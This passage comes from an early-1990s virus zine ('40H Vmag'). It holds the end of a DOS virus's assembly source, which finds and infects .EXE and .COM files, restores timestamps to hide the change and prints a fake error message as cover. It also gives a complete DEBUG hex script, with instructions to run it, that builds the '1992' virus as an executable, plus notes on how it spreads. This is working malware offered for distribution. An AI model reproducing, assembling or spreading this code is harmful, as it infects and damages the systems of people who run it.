  709. files_infected  db      ?
  710. orig_time       dw      ?
  711. orig_date       dw      ?
  712. orig_attr       dw      ?
  713. handle          dw      ?
  714. success         db      ?
  715.  
  716. random_mutation:                        ; First decide if virus is to mutate
  717.         mov     ah,2ch                  ; Set up DOS function to get time
  718.         int     21h
  719.         cmp     encrypt_val,0           ; Is this a first-run virus copy?
  720.         je      install_val             ; If so, install whatever you get.
  721.         cmp     dh,15                   ; Is it less than 16 seconds?
  722.         jg      find_extension          ; If not, don't mutate this time
  723. install_val:
  724.         cmp     dl,0                    ; Will we be encrypting using zero?
  725.         je      random_mutation         ; If so, get a new value.
  726.         mov     encrypt_val,dl          ; Otherwise, save the new value
  727. find_extension:                         ; Locate file w/ valid extension
  728.         mov     files_found,0           ; Count infected files found
  729.         mov     files_infected,4        ; BX counts file infected so far
  730.         mov     success,0
  731. find_exe:
  732.         mov     cx,00100111b            ; Look for all flat file attributes
  733.         mov     dx,offset exe_filespec  ; Check for .EXE extension first
  734.         mov     ah,4eh                  ; Call DOS find first service
  735.         int     21h
  736.         cmp     ax,12h                  ; Are no files found?
  737.         je      find_com                ; If not, nothing more to do
  738.         call    find_healthy            ; Otherwise, try to find healthy .EXE
  739. find_com:
  740.         mov     cx,00100111b            ; Look for all flat file attributes
  741.         mov     dx,offset com_filespec  ; Check for .COM extension now
  742.         mov     ah,4eh                  ; Call DOS find first service
  743.         int     21h
  744.         cmp     ax,12h                  ; Are no files found?
  745.         je      chdir                   ; If not, step back a directory
  746.         call    find_healthy            ; Otherwise, try to find healthy .COM
  747. chdir:                                  ; Routine to step back one level
  748.         mov     dx,offset newdir        ; Load DX with address of pathname
  749.         mov     ah,3bh                  ; Change directory DOS service
  750.         int     21h
  751.         dec     files_infected          ; This counts as infecting a file
  752.         jnz     find_exe                ; If we're still rolling, find another
  753.         jmp     exit_virus              ; Otherwise let's pack it up
  754. find_healthy:
  755.         mov     bx,dta                  ; Point BX to address of DTA
  756.         mov     ax,[bx]+attribute       ; Get the current file's attribute
  757.         mov     orig_attr,ax            ; Save it
  758.         mov     ax,[bx]+timestamp       ; Get the current file's time stamp
  759.         mov     orig_time,ax            ; Save it
  760.         mov     ax,[bx]+datestamp       ; Get the current file's data stamp
  761.         mov     orig_date,ax            ; Save it
  762.         mov     dx,dta+filename         ; Get the filename to change attribute
  763.         mov     cx,0                    ; Clear all attribute bytes
  764.         mov     al,1                    ; Set attribute sub-function
  765.         mov     ah,43h                  ; Call DOS service to do it
  766.         int     21h
  767.         mov     al,2                    ; Set up to open handle for read/write
  768.         mov     ah,3dh                  ; Open file handle DOS service
  769.         int     21h
  770.         mov     handle,ax               ; Save the file handle
  771.         mov     bx,ax                   ; Transfer the handle to BX for read
  772.         mov     cx,20                   ; Read in the top 20 bytes of file
  773.         mov     dx,offset compare_buf   ; Use the small buffer up top
  774.         mov     ah,3fh                  ; DOS read-from-handle service
  775.         int     21h
  776.         mov     bx,offset compare_buf   ; Adjust the encryption value
  777.         mov     ah,encrypt_val          ; for accurate comparison
  778.         mov     [bx+6],ah
  779.         mov     si,code_start           ; One array to compare is this file
  780.         mov     di,offset compare_buf   ; The other array is the buffer
  781.         mov     ax,ds                   ; Transfer the DS register...
  782.         mov     es,ax                   ; ...to the ES register
  783.         cld
  784.         repe    cmpsb                   ; Compare the buffer to the virus
  785.         jne     healthy                 ; If different, the file is healthy!
  786.         call    close_file              ; Close it up otherwise
  787.         inc     files_found             ; Chalk up another fucked up file
  788. continue_search:
  789.         mov     ah,4fh                  ; Find next DOS function
  790.         int     21h                     ; Try to find another same type file
  791.         cmp     ax,12h                  ; Are there any more files?
  792.         je      no_more_found           ; If not, get outta here
  793.         jmp     find_healthy            ; If so, try the process on this one!
  794. no_more_found:
  795.         ret                             ; Go back to where we came from
  796. healthy:
  797.         mov     bx,handle               ; Get the file handle
  798.         mov     ah,3eh                  ; Close it for now
  799.         int     21h
  800.         mov     ah,3dh                  ; Open it again, to reset it
  801.         mov     dx,dta+filename
  802.         mov     al,2
  803.         int     21h
  804.         mov     handle,ax               ; Save the handle again
  805.         call    infect_file             ; Infect the healthy file
  806.         call    close_file              ; Close down this operation
  807.         inc     success                 ; Indicate we did something this time
  808.         dec     files_infected          ; Scratch off another file on agenda
  809.         jz      exit_virus              ; If we're through, terminate
  810.         jmp     continue_search         ; Otherwise, try another
  811.         ret
  812. close_file:
  813.         mov     bx,handle               ; Get the file handle off the stack
  814.         mov     cx,orig_time            ; Get the date stamp
  815.         mov     dx,orig_date            ; Get the time stamp
  816.         mov     al,1                    ; Set file date/time sub-service
  817.         mov     ah,57h                  ; Get/Set file date and time service
  818.         int     21h                     ; Call DOS
  819.         mov     bx,handle
  820.         mov     ah,3eh                  ; Close handle DOS service
  821.         int     21h
  822.         mov     cx,orig_attr            ; Get the file's original attribute
  823.         mov     al,1                    ; Instruct DOS to put it back there
  824.         mov     dx,dta+filename         ; Feed it the filename
  825.         mov     ah,43h                  ; Call DOS
  826.         int     21h
  827.         ret
  828. exit_virus:
  829.         cmp     files_found,6           ; Are at least 6 files infected?
  830.         jl      print_fake              ; If not, keep a low profile
  831.         cmp     success,0               ; Did we infect anything?
  832.         jg      print_fake              ; If so, cover it up
  833.         mov     ah,09h                  ; Use DOS print string service
  834.         mov     dx,offset virus_msg1    ; Load the address of the first line
  835.         int     21h                     ; Print it
  836.         mov     dx,offset virus_msg2    ; Load the second line
  837.         int     21h                     ; (etc)
  838.         mov     dx,offset virus_msg3
  839.         int     21h
  840.         mov     dx,offset virus_msg4
  841.         int     21h
  842.         jmp     terminate
  843. print_fake:
  844.         mov     ah,09h                  ; Use DOS to print fake error message
  845.         mov     dx,offset fake_msg
  846.         int     21h
  847. terminate:
  848.         mov     ah,4ch                  ; DOS terminate process function
  849.         int     21h                     ; Call DOS to get out of this program
  850.  
  851. filler          db       8 dup (90h)    ; Pad out the file length to 666 bytes
  852.  
  853. main    endp
  854. code    ends
  855.         end     main
  856.  
  857. ------------------------------------------------------------------------------
  858.  
  859. While the virus is no great wonder the simple encryption method is what is
  860. used by almost all viruses.
  861.  
  862.                                                                           HR
  863. 40H Vmag Issue 1 Volume 1                                               00005
  864.  
  865.  
  866.                              - 1992 VIRUS -
  867.  
  868.  
  869. Heres another for you virus fiends.  Its been labled 1992, the latest in the
  870. line of viruses brought to you by SKISM.
  871.  
  872. While the virus is no groundbreaker - the graphic display that is given by
  873. the virus will go down in history as the first of it's kind.
  874.  
  875. Copy the below to a file called  1992.USR then execute --
  876.  
  877.                        DEBUG < 1992.USR
  878.  
  879. ------------------------------------------------------------------------------
  880. n 1992.com
  881. e 0100  EB 02 90 02 E8 03 00 E9 E7 05 51 BB 38 01 8A 2F
  882. e 0110  32 2E 03 01 88 2F 43 81 FB 00 09 7E F1 59 C3 BA
  883. e 0120  00 01 8B 1E E5 06 53 E8 E0 FF 5B B9 C8 07 B4 40
  884. e 0130  CD 21 53 E8 D4 FF 5B C3 0D 10 1B 00 08 B1 1B 04
  885. e 0140  C1 18 22 C6 BD 1B 01 B1 1B 15 B1 1B 01 1A 1B 00
  886. e 0150  C1 18 04 C6 DB 02 B3 B3 14 18 19 B3 10 DF 22 22
  887. e 0160  08 B1 1B 01 C1 18 0C C6 C0 18 05 C6 C3 C6 BD 22
  888. e 0170  22 1A 1B 00 B1 1B 06 02 B3 B3 14 18 1D B3 10 DF
  889. e 0180  22 08 C2 C6 C6 C0 C6 DB 1B 0C B1 1B 0B B1 22 22
  890. e 0190  1A 1B 00 B1 1B 01 02 B3 B3 14 18 23 B3 10 DF 1B
  891. e 01A0  00 08 B1 1B 12 B1 1B 0B C2 C6 C6 1A 1B 00 B1 1B
  892. e 01B0  00 02 B3 B3 14 18 21 B3 10 DF 22 13 1B 06 0B DC
  893. e 01C0  10 22 13 22 DC 10 22 13 22 DC 10 22 13 22 DC 10
  894. e 01D0  22 13 1B 06 DC 10 22 13 22 22 DC 10 22 22 13 22
  895. e 01E0  22 DC 10 22 22 1A 1B 00 08 B1 22 22 02 B3 B3 14
  896. e 01F0  18 0A B3 0D 18 1A B3 02 10 DF 14 B3 B3 B3 10 DF
  897. e 0200  13 22 0B DC 02 10 18 06 B3 13 22 0B DC 22 DC 02
  898. e 0210  10 B3 B3 13 22 0B DC 02 10 B3 13 22 0B DC 02 10
  899. e 0220  18 06 B3 13 22 0B DC 22 DC 22 DC 22 DC 02 10 B3
  900. e 0230  22 1A 1B 00 08 B1 22 22 02 B3 B3 14 18 05 B3 0D
  901. e 0240  18 1B B3 02 10 DF 22 22 14 B3 10 DF 13 1B 06 0B
  902. e 0250  DC 10 22 13 22 22 DC 02 10 B3 22 22 13 22 0B DC
  903. e 0260  02 10 B3 13 1B 06 0B DC 10 22 13 22 DC 02 10 B3
  904. e 0270  13 22 0B DC 02 10 B3 13 22 0B DC 02 10 B3 22 1A
  905. e 0280  08 C6 C6 C0 DB 22 22 02 B3 B3 14 18 05 B3 0D 18
  906. e 0290  0E B3 12 1B 05 14 18 01 B3 02 10 DF 1B 00 08 B1
  907. e 02A0  22 22 02 B3 B3 B3 13 22 0B DC 02 10 B3 13 22 0B
  908. e 02B0  DC 22 DC 02 10 B3 22 13 22 0B DC 02 10 B3 22 B3
  909. e 02C0  B3 B3 13 22 0B DC 02 10 B3 13 22 0B DC 02 10 B3
  910. e 02D0  22 B3 B3 13 22 0B DC 02 10 B3 22 1A 22 22 08 B1
  911. e 02E0  1B 00 02 B3 B3 14 18 05 B3 0D 18 0E B3 12 DC D9
  912. e 02F0  D9 02 14 B3 B3 B0 B0 0D 12 D9 14 B3 B3 B3 02 10
  913. e 0300  DF 1B 01 08 B1 22 13 1B 06 0B DC 02 10 B3 13 22
  914. e 0310  0B DC 02 10 B3 13 22 0B DC 02 10 B3 13 22 0B DC
  915. e 0320  02 10 B3 13 1B 06 0B DC 02 10 B3 13 22 0B DC 02
  916. e 0330  10 B3 1B 00 13 22 0B DC 02 10 B3 22 1A 22 22 08
  917. e 0340  B1 1B 00 02 B3 B3 14 18 05 B3 0D 18 0E B3 12 DC
  918. e 0350  D9 D9 02 14 B3 B3 B3 B0 0D 12 D9 14 B3 B3 02 10
  919. e 0360  DF 1B 06 08 B1 22 22 02 18 07 B3 22 B3 B3 22 B3
  920. e 0370  B3 22 B3 B3 22 18 07 B3 22 B3 B3 1B 00 B3 B3 B3
  921. e 0380  22 1A 22 22 08 B1 1B 00 02 B3 B3 14 18 01 B3 0D
  922. e 0390  B3 B3 B3 02 B3 0D 18 0E B3 12 DC 18 07 D9 14 B3
  923. e 03A0  B3 02 10 DF 1B 01 08 D8 C6 DB 1B 18 D8 C6 C6 C6
  924. e 03B0  BD 22 22 1A 22 22 B1 1B 01 02 B3 B3 14 B3 B3 B3
  925. e 03C0  0D 18 18 B3 02 10 DF 1B 00 08 C1 18 04 C6 C0 18
  926. e 03D0  16 C6 DB 1B 00 B1 22 22 1A 22 22 C1 18 01 C6 BD
  927. e 03E0  02 B3 B3 0D 14 18 1F B3 02 10 DF 22 22 08 B1 1B
  928. e 03F0  07 16 22 0D 14 56 16 6A 67 22 6F 63 6C 22 75 6A
  929. e 0400  6D 22 60 70 6D 77 65 6A 76 22 7B 6D 77 22 10 22
  930. e 0410  22 08 B1 22 22 1A 22 22 B1 1B 01 B1 02 B3 B3 0D
  931. e 0420  14 18 1E B3 02 10 DF 1B 00 08 B1 1B 01 02 B3 B3
  932. e 0430  16 22 0D 34 30 30 2E 22 51 69 6B 71 6F 22 4D 6C
  933. e 0440  67 2E 22 41 63 72 76 6B 63 6C 22 10 22 22 08 B1
  934. e 0450  22 22 1A 22 22 B1 1B 01 B1 02 B3 B3 0D 14 18 10
  935. e 0460  B3 02 10 DF 0D 14 18 05 B3 02 10 DF 1B 01 08 B1
  936. e 0470  1B 01 02 B3 B3 16 22 0D 56 70 6B 72 71 2E 22 63
  937. e 0480  6C 66 22 51 77 60 2F 58 67 70 6D 22 6C 6D 75 22
  938. e 0490  10 22 22 08 B1 22 22 1A 22 22 B1 1B 01 B1 02 B3
  939. e 04A0  B3 0D 14 18 10 B3 02 10 DF 1B 01 08 B1 1B 05 B1
  940. e 04B0  1B 01 02 B3 B3 16 22 0D 71 6A 63 6C 69 71 22 7B
  941. e 04C0  6D 77 22 63 65 63 6B 6C 2E 22 22 75 6B 76 6A 22
  942. e 04D0  10 22 22 08 C2 C6 C6 1A 22 22 B1 1B 01 B1 02 B3
  943. e 04E0  B3 0D 14 18 10 B3 02 10 DF 1B 01 08 C2 C6 C6 BD
  944. e 04F0  1B 06 C1 C6 BD 22 22 02 B3 B3 16 22 0D 6A 6B 71
  945. e 0500  22 6E 63 76 67 71 76 2C 2C 2C 1B 08 10 1B 06 1A
  946. e 0510  22 22 08 C2 C6 C6 C0 C6 C3 02 B3 B3 0D 14 18 11
  947. e 0520  B3 02 10 DF 1B 07 08 B1 1B 06 B1 22 B1 22 22 02
  948. e 0530  18 1A B3 1B 04 1A 1B 06 08 B1 22 22 02 B3 B3 0D
  949. e 0540  14 18 15 B3 02 10 DF 22 22 08 B1 1B 06 B1 22 C2
  950. e 0550  18 1E C6 BD 1B 01 1A C6 C6 C0 C6 C6 DB 22 22 02
  951. e 0560  B3 B3 0D 14 18 14 B3 02 10 DF 1B 00 08 C1 C6 C6
  952. e 0570  C6 C0 C6 DB 1B 07 17 22 0C 51 69 6B 71 6F 22 33
  953. e 0580  3B 3B 30 22 2F 22 54 6B 70 77 71 18 01 23 22 10
  954. e 0590  22 08 C1 18 01 C6 1A 22 22 B1 1B 06 02 B3 B3 0D
  955. e 05A0  14 18 0A B3 02 10 DF 1B 0A 08 D8 18 04 C6 DB 1B
  956. e 05B0  00 B1 1B 07 02 B3 B3 17 1B 01 0D 45 67 76 22 63
  957. e 05C0  22 6E 63 76 67 22 72 63 71 71 23 1B 01 10 22 08
  958. e 05D0  B1 1B 01 1A D8 C6 DB 1B 00 02 B3 B3 0D 11 18 09
  959. e 05E0  D9 14 D9 D9 12 DF 10 1B 07 08 B1 1B 08 B1 1B 07
  960. e 05F0  02 18 1A B3 22 22 08 B1 1B 01 1A B1 22 02 B3 B3
  961. e 0600  0D 11 18 19 D9 02 10 DF 1B 05 08 B1 1B 11 D8 18
  962. e 0610  09 C6 DB 1B 01 1A 02 B3 B3 0D 12 18 22 D9 DF 10
  963. e 0620  1B 06 08 B1 1B 11 B1 1B 12 1A 0D 12 18 21 D9 DF
  964. e 0630  10 1B 01 08 C2 18 11 C6 DB 1B 12 1A 28 02 28 2C
  965. e 0640  47 5A 47 02 5E 02 01 3D 3D 3D 3D 3D 3D 3D 3D 22
  966. e 0650  22 22 11 01 02 02 02 28 D3 EF 48 13 68 7B D4 14
  967. e 0660  02 02 02 02 46 4D 51 02 22 22 22 22 02 02 02 02
  968. e 0670  02 01 3D 3D 3D 3D 3D 3D 3D 3D 47 5A 47 05 07 02
  969. e 0680  23 02 28 D3 EF 48 22 2A 00 23 02 00 02 02 02 56
  970. e 0690  43 50 45 47 50 2C 47 5A 47 02 02 02 95 32 44 04
  971. e 06A0  73 04 95 32 02 56 47 4F 52 02 02 02 02 02 02 02
  972. e 06B0  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
  973. e 06C0  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
  974. e 06D0  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
  975. e 06E0  02 02 02 02 02 07 02 2A 00 23 02 22 02 CF 22 02
  976. e 06F0  02 BA 02 32 CF 23 3E 01 70 29 B6 2E CF 23 8A 14
  977. e 0700  01 03 B6 28 CF 23 82 F8 1B 7E 06 3E 07 76 01 E9
  978. e 0710  77 92 BC 3A 03 BA 02 BA 8C C2 BD 02 02 BB 06 07
  979. e 0720  EA 07 02 E9 FC EB 88 02 E1 59 89 D5 31 C2 FE AE
  980. e 0730  3E 22 70 07 A9 E0 FA E9 4E 3E 12 71 05 82 E6 F2
  981. e 0740  08 E2 E9 F3 3E 1A 76 11 71 1B 2E 12 00 C2 00 C2
  982. e 0750  00 C2 00 C2 82 E6 8D 08 E2 E9 D8 83 C0 A2 02 89
  983. e 0760  F8 E9 D0 3E 19 70 05 77 CE 82 F6 82 E9 C5 3E 1B
  984. e 0770  89 DB AE 88 CA B2 22 76 00 AE 49 30 EF 43 F1 A9
  985. e 0780  89 C9 4B E2 A8 C1 B8 44 04 B6 18 CF 23 B6 1B CF
  986. e 0790  23 88 D2 FC C0 B6 45 BC A7 04 CF 23 B8 46 04 B6
  987. e 07A0  39 CF 23 BB 11 02 B8 3E 04 B6 4C CF 23 3F 10 02
  988. e 07B0  77 01 E9 53 92 B6 4D CF 23 3F 10 02 76 45 B8 66
  989. e 07C0  04 B6 39 CF 23 B6 2D CF 23 8E 04 9E 04 8B 1C 9C
  990. e 07D0  04 B8 73 04 B6 18 CF 23 BB 05 02 B8 3C 04 B6 4C
  991. e 07E0  CF 23 3F 10 02 77 23 B6 4D CF 23 3F 10 02 77 1A
  992. e 07F0  B8 46 04 B6 39 CF 23 B6 18 8C 1C 9E 04 89 14 9C
  993. e 0800  04 CF 23 E9 B2 E9 7B 92 B6 2D CF 23 8E 04 A0 04
  994. e 0810  8B 1C A2 04 B8 8D 04 B9 73 04 89 45 1A A1 EB 04
  995. e 0820  89 45 14 A1 E5 04 89 45 17 BA 02 41 CF 23 8B 0C
  996. e 0830  E9 04 BA 03 41 31 CB CF 23 BA 02 3F CF 23 70 21
  997. e 0840  A1 E7 04 B6 3D 89 1C E7 04 BB 00 02 B8 EF 04 CF
  998. e 0850  23 B6 3C 89 1C E7 04 CF 23 89 1C EF 04 83 F9 E9
  999. e 0860  00 77 0D B6 18 8C 1C A0 04 89 14 A2 04 CF 23 EB
  1000. e 0870  77 FD B8 8D 04 BA 00 3F CF 23 A1 E7 04 EA 9D FA
  1001. e 0880  BA 03 55 89 1C E7 04 89 0C E5 04 89 14 EB 04 CF
  1002. e 0890  23 BA 03 41 89 0C E9 04 B8 8D 04 CF 23 B6 39 B8
  1003. e 08A0  46 04 CF 23 B6 39 B8 A7 04 CF 23 BA 02 4E CF 23
  1004. e 08B0  4F 61 43 64 67 67 22 75 70 6D 76 67 22 55 6A 63
  1005. e 08C0  6E 67 23 23 23 23 23 23 1A 1A 1A 1A 1A 1A 1A 1A
  1006.  
  1007. rcx
  1008. 7C8
  1009. w
  1010. q
  1011.  
  1012. ------------------------------------------------------------------------------
  1013.  
  1014. The virus only infects systems running DOS 3.0 and up.  It is non-resident
  1015. will only infect disks with more than two directorys.  When the virus is
  1016. run it will seek out the first EXE file in the second directory from the
  1017. root.  Each run after that will begin infection of files following.  The
  1018. virus will jump from directory to directory when executed until it finds
  1019. an uninfected EXE file to nail.
  1020.  
  1021. On the last Friday of the month the virus will display a full color, full
  1022. screen message to all.
  1023.  
  1024.                                                                           HR
  1025. 40H Vmag Issue 1 Volume 1                                               00006
  1026.  
  1027. I think this magazine will be monthly, keep looking for it.
  1028.  
  1029. Next Issue -
  1030.  
  1031.              Spotlight on Vienna
  1032.              Editoral on virus speed
  1033.              Article on Whale and if I can find it Whale source code.
  1034.  
  1035.              plus
  1036.  
  1037.              More viruses, more source code and more insight...
  1038.  
  1039.  
  1040.